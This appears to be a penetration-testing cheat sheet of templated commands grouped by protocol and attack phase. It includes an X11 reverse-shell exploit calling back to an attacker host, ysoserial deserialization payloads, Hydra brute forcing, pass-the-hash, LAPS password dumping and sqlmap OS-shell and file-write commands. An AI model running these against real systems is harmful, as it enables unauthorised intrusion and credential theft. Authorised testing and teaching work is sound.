fill
what the phase colours mean
Reconfind hosts, ports, users, shares before you touch anything
Attackbrute force, spray, coerce, or actively exploit a service
Exploitrun a specific exploit to gain code execution
Post-exploitafter a shell: dump creds, harvest, enumerate from inside
Priv-escescalate from user to root/SYSTEM/domain admin
Pivottunnel and move laterally deeper into the network
Persistkeep your access across reboots and logouts
Connectopen a session to a service you already have creds for
Utilitysupporting plumbing: servers, transfers, encoding
Codecompile or build something you will run on target
Misceverything else, mostly handy one-liners

Scan21

cve-bin-tool - build HTML report
cve-bin-tool -f html <target>
Misccve-bin-tool
cve-bin-tool - offline scan
cve-bin-tool --offline <target>
Misccve-bin-tool
cve-bin-tool - scan for a given open source component (e.g. openssl)
cve-bin-tool -r <component> <target>
Misccve-bin-tool
cve-bin-tool - scan target (file or directory) to detect versions and CVEs of embedded open source components
cve-bin-tool <target>
Misccve-bin-tool
eyewitness - web screenshots
docker run --rm -it -v `pwd`:/tmp/EyeWitness eyewitness --web -x /tmp/EyeWitness/<nmap_file>.xml --prepend-https
Misceyewitness
gowitness - web screenshots (file containing urls)
docker run --rm -v $(pwd):/data -p7171:7171 leonjza/gowitness gowitness file -f /data/<file>
Miscgowitness
gowitness - web screenshots (nmap xml file)
docker run --rm -v $(pwd):/data -p7171:7171 leonjza/gowitness gowitness nmap -f /data/<nmap_file>.xml
Miscgowitness
massscan - full port
masscan -p 1-65535 <ip> -e <dev> --rate=1000
Miscnmap
nmap - big top ports 5000
nmap --top-ports 5000 --open -sV <ip>
Miscnmap
nmap - classic scan
nmap -sC -sV <ip>
Miscnmap
nmap - classic scan + save
nmap -sC -sV -oA <output_file> <ip>
Miscnmap
nmap - FULL
IP=<ip>; ports=$(nmap -p- --min-rate=1000 -n -T4 $IP | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -Pn -sC -sV -p$ports $IP -oN scan.txt --reason --script=vuln
Miscnmap
nmap - full port
nmap -p- -sV <ip>
Miscnmap
nmap - host with a given port
nmap <ip> -p<port_list> --open
Miscnmap
nmap - hosts alive
nmap -sn <ip_range>
Miscnmap
nmap - low rate Classic
nmap --max-rate 100 -sC -sV <ip>
Miscnmap
nmap - quick scan top ports 100
nmap --top-ports 100 --open -sV <ip>
Miscnmap
nmap - read targets from a file
nmap -iL <targets_file>
Miscnmap
nmap - SMB signing disabled
nmap -Pn -sS -T4 --open --script smb-security-mode -p445 <ip>
Miscnmap
nmap - udp scan
nmap -sU <ip>
Miscnmap
nmap behind proxy - tcp connect (-sT) - no dns (-n)
proxychains nmap -n -sT -sV -Pn --open -oA <output_file> -iL <targets_file>
Miscnmap

Protocol128

dig any information
dig ANY <domain_name> @<dns_ip>
Recondnslinux
dig dns lookup
dig <domain_name> @1.1.1.1
Recondnslinux
dig reverse lookup
dig -x <ip> @<dns_ip>
Recondnslinux
dig zone transfer
dig axfr <domain_name> @<name_server>
Recondnslinux
dig, find domains file ip address value
dig -f <domains.txt> +noall +answer
Recondnslinux
dig, find domains file MX ip record
dig -f <domains.txt> MX +noall +answer
Recondnslinux
dig, find external, public IP address
dig +short <domain_name> @resolver1.opendns.com
Recondnslinux
dns metasploit enumeration
msfconsole -x "use auxiliary/gather/enum_dns; set domain <domain>; set ns <dns_server>; exploit"
Recondnslinux
dns sublist3r - subdomain enumeration
sublist3r -d <domain> -v
Recondnslinux
dns sublist3r - subdomain enumeration with bruteforce module enabled
sublist3r -b -d <domain>
Recondnslinux
dnsrecon domain bruteforce
dnsrecon -d <domain> -D <wordlist> -t brt dnsenum <domain>
Recondnslinuxlinux
dnsrecon reverse lookup network range ip
dnsrecon -r <ip_with_network_mask> -n <domain_name_server>
Recondnslinux
dnsrecon reverse lookup start/end ip
dnsrecon -r <startip>-<endip> -n <domain_name_server>
Recondnslinux
dnsrecon standard enum on domain
dnsrecon -d <domain>
Recondnslinux
dnsrecon zone transfer
dnsrecon -d <domain> -t axfr
Recondnslinux
host find mail server
host -t mx <domain>
Recondnslinux
host find name server
host -t ns <domain>
Recondnslinux
nmap activedirectory enum
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='<domain>'"
Recondnslinux
nmap dns tcp
nmap -n -sV --script "(*dns* and (default or (discovery and safe))) or dns-random-txid or dns-random-srcport" -p 53 <ip>
Recondnslinux
nmap dns udp
nmap -n -sV -sU --script ""(*dns* and (default or (discovery and safe))) or dns-random-txid or dns-random-srcport" -p 53 <ip>
Recondnslinux
nmap dnssec
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=<domain> <ip>
Recondnslinux
nmap grab banner
nmap -sV -p 53 --script dns-nsid <ip>
Recondnslinux
enum4linux - all except dictionary based share name listing (default)
enum4linux -a <ip>
Miscenum4linux
enum4linux - guest access
enum4linux -u "guest" -p "" <ip>
Miscenum4linux
enum4linux - list Users
enum4linux -U <ip> |grep 'user:'
Miscenum4linux
enum4linux - null access
enum4linux -u "" -p "" <ip>
Miscenum4linux
enum4linux - verbose
enum4linux -v <ip>
Miscenum4linux
enum4linux - with authentication
enum4linux -u <user> -p <password> <ip>
Miscenum4linux
ftp - connect
ftp <ip>
Attackftp
ftp - connect port
ftp <ip> <port>
Attackftp
ftp - download all
wget -m ftp://anonymous:anonymous@<ip>
Attackftp
ftp - enum anonym
nmap -v -p 21 --script=ftp-anon.nse <ip>
Attackftp
ftp - msf bruteforce login
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS <ip>; set USER_FILE <user_file>; set PASS_FILE <password_file>; exploit"
Attackftp
ftp download all (2)
wget -m --no-passive ftp://anonymous:anonymous@<ip>
Attackftp
ldap nmap
nmap -n -sV --script "ldap* and not brute" -p 389 <ip>
Reconldap
ldapdomaindump
ldapdomaindump --no-json --no-grep --authtype SIMPLE -o ldap_dump -r <ip> -u <domain>\\<username> -p '<password>'
Attackldap
ldapsearch - list all computer with laps enabled and corresponding laps password if able
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>' '(ms-Mcs-AdmPwdExpirationtime=*)' ms-Mcs-AdmPwd
Attackldap
ldapsearch - list all users
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>' '(&(objectCategory=person)(objectClass=user))'
Attackldap
ldapsearch - list all users protected by adminCount
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>' '(&(objectCategory=user)(adminCount=1))'
Attackldap
ldapsearch - list all users with password, pass, identifiant or pwd in their description
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>' '(&(objectCategory=user)(|(description=*pass*)(description=*password*)(description=*identifiant*)(description=*pwd*)))'
Attackldap
ldapsearch base
ldapsearch -x -H ldap://<dc_fqdn> -s base
Attackldap
ldapsearch base with authentication
ldapsearch -x -H ldap://<dc_fqdn> -D <domain>\\<username> -w '<password>' -b 'DC=<domain>,DC=<path>'
Attackldap
ldapsearch SPN
ldapsearch -Y GSSAPI -H ldap://<dc_fqdn> -D "<user>" -W -b "dc=<domain>,dc=<path>" "servicePrincipalName=*" servicePrincipalName
Attackldap
ldapsearch with base dn
ldapsearch -x -H ldap://<dc_fqdn> -b <basedn>
Attackldap
ldapsearch-ad - get the FGPP applied to a group
ldapsearch-ad.py --server '<dc_fqdn>' -d <domain> -u <username> -p <password> -t search -s '(samaccountname=<groupname>)' cn msDS-PSOApplied
Attackldap
ldapsearch-ad - get the FGPP applied to a user
ldapsearch-ad.py --server '<dc_fqdn>' -d <domain> -u <username> -p <password> --type show-user -s '(samaccountname=<username>)'
Attackldap
ldapsearch-ad - list all password policies including FGPP
ldapsearch-ad.py --server '<dc_fqdn>' -d <domain> -u <username> -p <password> --type pass-pols
Attackldap
mssql - enum
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <ip>
Reconmssql
mssql - enum configuration setting (xp-cmdshell)
msfconsole -x "use auxiliary/admin/mssql/mssql_enum; set RHOST <ip>; set password <password>; run"
Reconmssql
mssql - enum sql login
msfconsole -x "use admin/mssql/mssql_enum_sql_logins; set RHOSTS <ip>; set USER_FILE <user_file>; set PASS_FILE <pass_file>; run"
Attackmssql
mssql link crawler
msfconsole -x "use exploit/windows/mssql/mssql_linkcrawler"
Attackmssql
connect
mysql -u <user> -p<password> -h <hostname> <database>
Attackmysql
Create database
mysql -u <user> -p -e "create database <database> character set UTF8mb4 collate utf8mb4_bin"
Utilitymysql
Export database
mysqldump -u <user> -p <database> > <path>
Utilitymysql
Import database
mysql -u <user> -p <database> <path>
Utilitymysql
nmap - mysql enumeration
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <ip>
Reconmysql
nbtscan - netbios scan
nbtscan -r <ip_range>
Reconnetbios
nfs - mount
mount -t nfs <ip>:<shared_folder> <mount_point> -o nolock
Attacknfs
nfs - mount with v2 (no authenrt=)
mount -t nfs -o vers=2 <ip>:<shared_folder> <mount_point> -o nolock
Attacknfs
nfs - nmap showmount
nmap -sV --script=nfs-showmount <ip>
Reconnfs
nfs showmount
showmount -e <ip>
Reconnfs
nmap - pop3 infos
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <port> <ip>
Reconpop
postgres - connect
psql -h <host> -U <user>
Attackpostgres
postgres - connect database
psql -h <ip> -U <user> -d <database>
Attackpostgres
postgres - connect full options
psql -h <ip> -p <port> -U <user> -W <password> <database>
Attackpostgres
Add firewall authorisation RDP
netsh.exe advfirewall firewall add rule name="Remote Desktop - User Mode (TCP-In)" dir=in action=allow program="%%SystemRoot%%\system32\svchost.exe" service="TermService" description="Inbound rule for the Remote Desktop service to allow RDP traffic. [TCP 3389] added by LogicDaemon's script" enable=yes profile=private,domain localport=3389 protocol=tcp
Post-exploitrdp:3389rdplinux
disable restricted admin
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin
Post-exploitrdp
enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Post-exploitrdp
enable restricted admin
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
Post-exploitrdp
rdesktop - classic
rdesktop -g 90% <ip> -u <user> -p <password> -d <domain>
Miscrdp
rdesktop - with share
rdesktop -g 90% <ip> -u <user> -p <password> -d <domain> -r disk:share=<share>
Attackrdp:3389rdplinux
rdp from console
sharprdp.exe computername=<computer> command="<command>" username=<domain>\<user> password=<password>
Miscrdp
xfreerdp - classic
xfreerdp /u:<user> /p:<password> /d:<domain> /v:<ip> /size:1800x924
Miscrdp
xfreerdp - pass the hash
xfreerdp /u:<user> /pth:<hash> /d:<domain> /v:<ip>
Miscrdp
xfreerdp - with share
xfreerdp /u:<user> /p:<password> /d:<domain> /v:<ip> /size:1800x924 /drive:share,<share>
Miscrdp
nbtscan - scan network looking for hosts
nbtscan -r <ip_range>
Reconsmb:445smblinux
smb - find not signed smb
nmap -Pn -sS -T4 --open --script smb-security-mode -p445 <ip>
Reconsmb:445smblinux
smb mount folder
mount -t cifs //<ip>/C\$ /tmp/mnttarget/ -o username=<user> -o domain=<domain>
Attacksmb:445smblinux
smbclient null session
smbclient \\\\<ip>\\<share> -U "%"
Attacksmb:445smblinux
smbclient sessions without password
smbclient \\\\<ip>\\<share> -U "<user>%"
Attacksmb:445smblinux
smbclient with username and password
smbclient \\\\<ip>\\<share> -U "<user>%<password>"
Attacksmb:445smblinux
smbmap
smbmap -H <ip> -u "<user>%<password>"
Attacksmbmap:445smblinux
smbmap - guest access
smbmap -u "guest" -p "" -P 445 -H <ip>
Attacksmbmap:445smblinux
smbmap - list root of all shares
smbmap -H <ip> -u <user> -p <password> -d <domain> -r
Attacksmbmap:445smblinux
smbmap - null access
smbmap -u "" -p "" -P 445 -H <ip>
Attacksmbmap:445smblinux
smbmap - recursively list dirs, and files
smbmap -H <ip> -u <user> -p <password> -d <domain> -R <path> --depth 1
Attacksmbmap:445smblinux
msf - smtp user enum
msfconsole -x "use auxiliary/scanner/smtp/smtp_enum; set RHOSTS <ip>; exploit"
Attacksmtp
nmap - smtp user enum
nmap –script smtp-enum-users.nse <ip>
Attacksmtp
smtp nmap enumeration
nmap -p25 --script smtp-commands <ip>
Reconsmtp
smtp nmap ntlm information disclosure
nmap -p25 --script smtp-ntlm-info <ip>
Reconsmtp
smtp user enum
smtp-user-enum -M VRFY -U <userlist> -t <ip>
Attacksmtp
nmap, snmp brute
nmap -sU --open -p 161 --script=snmp-brute <ip> --script-args snmp-brute.communitiesdb=<snmp_community_strings_file>
Attacksnmp
nmap, snmp scan
nmap -sU --open -p 161 -sC -sV <ip>
Reconsnmp
onesixtyone
echo public > community; echo private >> community; echo manager >> community; onesixtyone -c community -i ips; rm community
Reconsnmp
snmp-check - check snmp service on specified port (default:162)
snmp-check -t <ip> -c public -p 162
Reconsnmp
snmpwalk - list running processes
snmpwalk -c private -v1 <ip> 1.3.6.1.2.1.25.4.2.1.2
Reconsnmp
snmpwalk entire tree
snmpwalk -c public -v1 <ip>
Reconsnmp
get public ssh key of server
ssh-keyscan -t rsa <IP> -p <PORT>
Utilityssh
msf - bruteforce username
msfconsole -x "use scanner/ssh/ssh_enumusers; set RHOSTS <ip>; set USER_FILE <user_file>; set CHECK_FALSE true; exploit"
Attackssh
SSH - old algorithm
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 <user>@<ip>
Utilityssh
SSH local port forwarding (get remote_port on local)
ssh -L <local_port>:<remote_host>:<remote_port> <user>@<ip>
Pivotssh
SSH proxysocks
ssh -D <socks_port> <user>@<ip>
Pivotssh
SSH remote port forwarding (send local port to remote) (need GatewayPorts yes)
ssh -R <remote_binding>:<remote_port>:<local_host>:<local_port> <user>@<ip>
Pivotssh
Start ssh agent
eval "$(ssh-agent -s)"; ssh-add
Utilityssh
nmap - telnet
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <ip>
Recontelnet
vnc - msf test login bf
msfconsole -x "use auxiliary/scanner/vnc/vnc_login; set RHOSTS <ip>; set RPORT <port>; set USERNAME <username>; run"
Attackvnc
vnc - msf test login bf (2)
msfconsole -x "use auxiliary/scanner/vnc/vnc_login; set RHOSTS <ip>; set RPORT <port>; set USER_FILE <users_file>; set PASS_FILE <pass_file>; run"
Attackvnc
vnc - nmap enum
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <port> <ip>
Reconvnc
vnc - post exploit retrieve credentials
msfconsole -x "use post/windows/gather/credentials/vnc; set SESSION <session>; run"
Post-exploitvnc
vnc msf test none auth
msfconsole -x "use auxiliary/scanner/vnc/vnc_none_auth; set RHOSTS <ip>; set RPORT <port>; run"
Attackvnc
vncviewer - connect to vnc no pass
vncviewer <ip>::<port>
Attackvnc
vncviewer - connect to vnc with password
vncviewer -password <password.txt> <ip>::<port>
Attackvnc
Enable winrm (powershell)
Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts *
Utilitywinrmwindows
Enable winrm (wmic)
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force" # gone on Win11 24H2+/Server 2025 -> Get-CimInstance / Invoke-CimMethod
Utilitywinrmwindows
Enable winrm remotelly from psexec
.\PsExec.exe \\<computername> -u <domain>\<username> -p <password> -h -d powershell.exe "enable-psremoting -force"
Attackwinrmwindows
evil-winrm install
gem install evil-winrm
Utilitywinrm
evil-winrm use
evil-winrm -i <ip>/<domain> -u <user> -p <password>
Attackwinrmlinux
evil-winrm use pass the hash
evil-winrm -i <ip>/<domain> -u <user> -H <hash>
Attackwinrmlinux
Execute a command on the target over winrm (powershell)
Invoke-Command -computername <computername> -ScriptBlock {<cmd>} -credential <domain>\<username>
Attackwinrmwindows
Execute a script on the target over winrm (powershell)
Invoke-Command -ComputerName <computername> -FilePath <path_to_script> -credential <domain>\<username>
Attackwinrmwindows
Get a powershell session with winrm (powershell)
Enter-PSSession -ComputerName <computername> -Credential <domain>\<username>
Attackwinrmwindows
Test target is configure to use winrm (powershell)
Test-WSMan -computername <computername>
Reconwinrmwindows
X11 - keylogging
xspy <ip>
Attackx11
X11 - msf reverse shell
msfconsole -x "use exploit/unix/x11/x11_keyboard_exec; set RHOSTS <rhost>; set payload cmd/unix/reverse_bash; set lhost <lhost>; set lport <lport>; exploit"
Attackx11
X11 - remote desktop view
xrdp <ip>:<display>
Attackx11
X11 - screenshot
xwd –root –screen –silent –display <ip>:<display> > screenshot.xwd; convert screenshot.xwd screenshot.png
Attackx11
x11 - verify connection
xdpyinfo -display <ip>:<display>
Reconx11
x11 - verify connection (2)
xwininfo -root -tree -display <ip>:<display>
Reconx11

Web46

drupwn classic
drupwn --users --nodes --modules --dfiles --themes enum <url>
Miscdrupwn
drupwn, docker
sudo docker run --rm -it immunit/drupwn --users --nodes --modules --dfiles --themes enum <url>
Miscdrupwn
Abort or reduce scan speed to individual directory scans when too many errors have occurred
feroxbuster -u <url> --auto-bail
Miscfuzzer
default scan
feroxbuster --url <url>
Miscfuzzer
default scan with wordlist
feroxbuster --url <url> -w <wordlist>
Miscfuzzer
dirb commons
dirb <url> -w /usr/share/wordlists/dirb/common.txt
Attackfuzzerlinux
ffuf fuzz Host filter response size
ffuf -w <wordlist> -u <url> -H "Host: FUZZ" -fs <response_size>
Miscfuzzer
ffuf fuzz keyword in url
ffuf -w <wordlist> -u <url>/FUZZ
Miscfuzzer
ffuf GET parameter fuzzing
ffuf -w <wordlist> -u <url>?<param>=FUZZ -fs <response_size>
Miscfuzzer
ffuf POST parameter fuzzing and filter response code 401
ffuf -w <wordlist> -u <url> -X POST -d "username=admin\&password=FUZZ" -fc 401
Attackfuzzerlinux
gobuster scan classic
gobuster dir -u <url> -w <wordlist>
Miscfuzzer
gobuster scan high rate
gobuster dir -u <url> -w <wordlist> -t 30
Miscfuzzer
gobuster scan pentest classic fuzz
gobuster dir -u <url> -w <wordlist> -x json,html,php,txt,xml,md
Miscfuzzer
gobuster scan with adding extension
gobuster dir -u <url> -w <wordlist> -x json,html,php,txt
Attackfuzzerlinux
IPv6, non-recursive scan with INFO-level logging enabled
feroxbuster -u <proto|https>://[<ipv6>] --no-recursion -vv
Miscfuzzer
Multiple headers
feroxbuster -u <url> -H "<header>" "<header>"
Miscfuzzer
nikto - first vuln scan
nikto -C all -h <url>
Attackfuzzerlinux
wfuzz on post parameter
wfuzz -z file,<file> -X post -u <url> -d 'FUZZ=1'
Attackfuzzerlinux
wfuzz with number on url ( url : http://site/ )
wfuzz -z range,1-1000 -u <url>FUZZ
Miscfuzzer
wfuzz with wordlist on url ( url : http://site/ )
wfuzz -z file,<file> -u <url>FUZZ
Miscfuzzer
Jwt tool bruteforce key
python3 jwt_tool.py -d <wordlists.txt> <JWT_token>
Reconjwttoollinux
Jwt tool Mode all tests
python3 jwt_tool.py -M at -t "<url>" -rh "Authorization: Bearer <JWT_Token>" -rh "<other_header>" -rc "<cookies>"
Reconjwttoollinux
Jwt tool reuse query id
python3 jwt_tool.py -Q "<jwttool_id>"
Reconjwttoollinux
Compare the MD5 hash of a certificate
openssl x509 -noout -modulus -in <INPUT_CRT> | openssl md5
Miscopenssl
Compare the MD5 hash of a certificate signing request
openssl req -noout -modulus -in <INPUT_CSR> | openssl md5
Miscopenssl
Compare the MD5 hash of a private key
openssl rsa -noout -modulus -in <INPUT_KEY> | openssl md5
Miscopenssl
Convert a DER encoded file to a PEM encoded file
openssl x509 -inform der -in <INPUT_CRT> -out <OUTPUT_PEM>
Miscopenssl
Convert a PEM certificate file and a private key to PKCS12 encoded file
openssl pkcs12 -export -out <OUTPUT_PKCS12> -inkey <INPUT_KEY> -in <INPUT_CRT> -certfile <INPUT_CRT>
Miscopenssl
Convert a PEM encoded file to a DER encoded file
openssl x509 -outform der -in <INPUT_PEM> -out <OUTPUT_CRT>
Miscopenssl
Convert a PKCS12 encoded file containing a private key and certificates to PEM
openssl pkcs12 -in <INPUT_PKCS12> -out <OUTPUT_PEM> -nodes
Miscopenssl
Create a new self-signed certificate
openssl req -x509 -sha256 -nodes -days <VALIDITY> -newkey rsa:<RSA_LENGTH> -out <OUTPUT_CRT> -keyout <OUTPUT_KEY>
Miscopenssl
Create a new signing request and key
openssl req -new -newkey rsa:<RSA_LENGTH> -nodes -out <OUTPUT_CSR> -keyout <OUTPUT_KEY>
Miscopenssl
Create a signing request from existing certificate and key
openssl x509 -x509toreq -out <OUTPUT_CSR> -in <INPUT_CRT> -signkey <INPUT_KEY>
Miscopenssl
Create a signing request from existing key
openssl req -out <OUTPUT_CSR> -key <INPUT_KEY> -new
Miscopenssl
Display the server certificate chain
openssl s_client -connect <URL>:<PORT>
Miscopenssl
Extract the certificate from a PKCS12 encoded file
openssl pkcs12 -in <INPUT_PKCS12> -out <OUTPUT_PEM> -nodes -nokeys
Miscopenssl
Extract the private key from a PKCS12 encoded file
openssl pkcs12 -in <INPUT_PKCS12> -out <OUTPUT_PEM> -nodes -nocerts
Miscopenssl
Remove a passphrase from a private key
openssl rsa -in <INPUT_KEY> -out <OUTPUT_PLAINTEXT_KEY>
Miscopenssl
Validate a certificate
openssl x509 -in <INPUT_CRT> -text -noout
Miscopenssl
Validate a certificate signing request
openssl req -text -noout -verify -in <OUTPUT_CSR>
Miscopenssl
Validate a PKCS12 file (.pfx or .p12)
openssl pkcs12 -info -in <INPUT_PKCS12>
Miscopenssl
Validate a private key
openssl rsa -in <INPUT_KEY> -check
Miscopenssl
tomcat deploy
msfconsole -x "use exploit/multi/http/tomcat_mgr_deploy"
Attacktomcatlinux
tomcat manager bruteforce
msfconsole -x "use auxiliary/scanner/http/tomcat_enum"
Attacktomcatlinux
extract links from an url
curl -k -s <url> | grep -o 'http://[^"]*' | cut -d "/" -f 3 | sort -u
Reconweblinux
wpscan with docker and burp proxy
sudo docker run -it --network host --rm wpscanteam/wpscan --proxy http://127.0.0.1:8080 --url <url> --disable-tls-checks -e ap,tt,cb,dbe,u1-20,m --api-token <wpscan_apitoken>
Miscwpscan

SQL Injection16

basic sqlmap step 1
sqlmap -u <url> -p <arguments> --dbs
Miscsqlmap
basic sqlmap step 2
sqlmap -u <url> -p <arguments> --dbms=<database_type>
Miscsqlmap
basic sqlmap step 3
sqlmap -u <url> -p <arguments> --dbms=<database_type> -D <database_name> --tables
Miscsqlmap
basic sqlmap step 4
sqlmap -u <url> -p <arguments> --dbms=<database_type> -D <database_name> -T <tables> --columns
Miscsqlmap
basic sqlmap step 5
sqlmap -u <url> -p <arguments> --dbms=<database_type> -D <database_name> -T <tables> -C <columns> --dump
Miscsqlmap
sqlmap - classic get
sqlmap -u <url>
Miscsqlmap
sqlmap - classic post
sqlmap -u <url> -d "<params>" sqlmap -u <url> --cookie=<cookie>
Miscsqlmap
sqlmap - dump a table
sqlmap -u <url> -D <db> -T <table> --dump
Miscsqlmap
sqlmap - dump only some tables columns
sqlmap -u <url> -D <db> -T <table> -C <c1>,<c2> --dump sqlmap -u <url> --os-shell sqlmap -u <url> --file-read=<remote_file> sqlmap -u <url> --file-write=<local_file> --file-dest=<remote_path_destination>
Miscsqlmap
sqlmap - hardcore
sqlmap -u '<url>' --level=5 --risk=3 -p '<parameter>' --tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
Miscsqlmap
sqlmap - list columns of a table
sqlmap -u <url> -D <db> -T <table> --columns
Miscsqlmap
sqlmap - list dbs
sqlmap -u <url> --dbs
Miscsqlmap
sqlmap - list tables
sqlmap -u <url> -D <db> --tables
Miscsqlmap
sqlmap - mssql tamper list
sqlmap -u <url> --dbms=MSSQL tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
Miscsqlmap
sqlmap - mysql tamper list
sqlmap -u <url> --dbms=MYSQL tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
Miscsqlmap
sqlmap - use file
sqlmap -r <request_file> sqlmap -u '<url>' tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
Miscsqlmap

Deserialization4

convert file to base64 one line
iconv -f ASCII -t UTF-16LE <file_to_convert> | base64 | tr -d "\n"
Utilityysoseriallinux
ysoserial java - generate payload
java -jar ysoserial.jar <lib_payload> 'powershell.exe -EncodedCommand <base64_encoded_command>' > <output_file>
Attackysoseriallinux
ysoserial.net - calc.exe payload for Json.Net using ObjectDataProvider gadget.
ysoserial.exe -f <lib|Json.Net> -g <gadget|ObjectDataProvider> -o raw -c "<command|calc.exe>" -t
Attackysoserial.netwindows
ysoserial.net - generate payload VIEWSTATE
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -EncodedCommand <base64_encoded_command>" --path="<asp_file_webroot_relative_path>" --apppath="<application_path_webroot_relative>" --decryptionalg="3DES" --decryptionkey="<decryption_key>" --validationalg="SHA1" --validationkey="<validation_state>"
Attackysoserial.netwindows

BruteForce17

cewl - wordlist creation
cewl -w <file|wordlist.txt> -d <deep|3> -m <min_word_size|5> <url>
Reconcewllinux
crunch - generate wordlist charset
crunch <min> <max> -f /usr/share/crunch/charset.lst <charset|mixalpha-numeric> -o <output.txt>
Utilitycrunchlinux
crunch - generate wordlist contain "password", 2 numbers and 1 special char
crunch 8 8 -t password%%^ -o <output.txt>
Utilitycrunchlinux
crunch - generate wordlist hex
crunch <min|2> <max|8> 0123456789ABCDEF -o <output.txt>
Utilitycrunchlinux
crunch - generate wordlist Upper(,) lower(@)x3 numeric(%)x3 special(^)x1
crunch 8 8 -t <pattern|,@@@%%%^> -o <output.txt>
Utilitycrunchlinux
Hydra - ftp - 21
hydra -L <userlist> -P <passlist> <ip> ftp
Attackhydra:21ftplinux
Hydra - mysql - 3306
hydra -L <userlist> -P <passlist> <ip> mysql
Attackhydra:3306mysqllinux
Hydra - postgres - 5432
hydra -L <userlist> -P <passlist> <ip> postgres
Attackhydra:5432postgreslinux
Hydra - smb - 445
hydra -L <userlist> -P <passlist> <ip> smb
Attackhydra:445smblinux
Hydra - ssh - file "login:pass" format - specify port
hydra -t 4 -s <port> -C <file_login_pass> <ip> ssh
Attackhydra:customsshlinux
Hydra - ssh - null password - 22
hydra -l <user|root> -e n <ip> ssh
Attackhydra:22sshlinux
Hydra - ssh - password=reverseuser - 22
hydra -L <userlist> -e r <ip> ssh
Attackhydra:22sshlinux
Hydra - ssh - user and password - 22
hydra -l <user|root> -p <password|root> <ip> ssh
Attackhydra:22sshlinux
Hydra - ssh - user=password - 22
hydra -L <userlist> -e s <ip> ssh
Attackhydra:22sshlinux
Hydra - ssh - userlist and password list - 22
hydra -L <userlist> -P <passlist> <ip> ssh
Attackhydra:22sshlinux
Hydra - telnet - 23
hydra -L <userlist> -P <passlist> <ip> telnet
Attackhydra:23telnetlinux
Hydra - vnc - 5900
hydra -L <userlist> -P <passlist> <ip> vnc
Attackhydra:5900vnclinux

Password Cracking23

7z - 7za
cat <wordlist> | 7za t <file>.7z
Misccrackfiles
7z - john
./7z2john.pl <file>.7z > 7zhash.john; john 7zhash.john
Misccrackfiles
keepass kdbx - john
keepass2john <file>.kdbx > out.kbdx.hashes && john --wordlist <wordlist> out.kbdx.hashes
Misccrackfiles
PDF - pdfcrack
pdfcrack <file>.pdf -w <wordlist>
Misccrackfiles
PDF decrypt - qpdf
qpdf --password=<PASSWORD> --decrypt <encrypted_pdf>.pdf <plaintext_pdf>.pdf
Misccrackfiles
XLS PPT DOC - john
python3 <path_to_john>/run/office2john.py <file>.xls > out.hash && john --wordlist <wordlist> out.hash
Misccrackfiles
ZIP - fcrackzip
fcrackzip -u -D -p <wordlist> <file>.zip
Misccrackfiles
ZIP - john
zip2john <file>.zip > zip.john; john zip.john
Misccrackfiles
hashcat - basic md5 (joomla/wordpress) - wordlist
hashcat -a 0 -m 400 hashes <wordlist>
Mischashcat
hashcat - basic md5 (joomla/wordpress) - wordlist with rules
hashcat -a 0 -m 400 hashes <wordlist> -r /usr/share/doc/hashcat/rules/best64.rule
Mischashcat
hashcat - generate wordlist using rules
cat keywords.txt | hashcat -r <rule_file> --stdout > ./<custom_wordlist>
Mischashcat
hashcat - kerberos ticket (after kerberoasting)
